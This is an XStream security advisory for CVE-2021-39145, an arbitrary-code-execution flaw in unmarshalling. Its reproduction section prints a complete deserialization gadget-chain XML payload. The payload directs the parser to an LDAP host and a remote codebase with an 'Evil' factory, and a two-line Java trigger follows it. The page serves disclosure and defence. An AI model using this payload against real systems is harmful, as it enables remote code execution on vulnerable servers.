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<head>
<title>CVE-2021-39145</title>
</head>
<body>
<h2 id="vulnerability">Vulnerability</h2>
<p>CVE-2021-39145: XStream is vulnerable to an Arbitrary Code Execution attack.</p>
<h2 id="affected_versions">Affected Versions</h2>
<p>All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security framework
</a> with a whitelist limited to the minimal required types.</p>
<h2 id="description">Description</h2>
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.</p>
<h2 id="reproduction">Steps to Reproduce</h2>
<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
unmarshal it again with XStream:</p>
<div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &#x3C;none&#x3E;</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
<homeCtx>
<hostname>233.233.233.233</hostname>
<port__number>2333</port__number>
<clnt class='com.sun.jndi.ldap.LdapClient'/>
</homeCtx>
<hasMoreCalled>true</hasMoreCalled>
<more>true</more>
<posn>0</posn>
<limit>1</limit>
<entries>
<com.sun.jndi.ldap.LdapEntry>
<DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
<attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ignoreCase>false</ignoreCase>
</default>
<int>4</int>
<javax.naming.directory.BasicAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>objectClass</attrID>
</default>
<int>1</int>
<string>javanamingreference</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaCodeBase</attrID>
</default>
<int>1</int>
<string>http://127.0.0.1:2333/</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID>
</default>
<int>1</int>
<string>refClassName</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID>
</default>
<int>1</int>
<string>Evil</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
</attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>
<p>Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.</p>
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed
input stream.</p>
<h2 id="workarounds">Workarounds</h2>
<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
<h2 id="credits">Credits</h2>
<p>李安诺 (Li4n0) from Alibaba Cloud Security Team and Smi1e of DBAPPSecurity WEBIN Lab found and reported the issue
independently to XStream and provided the required information to reproduce it.</p>
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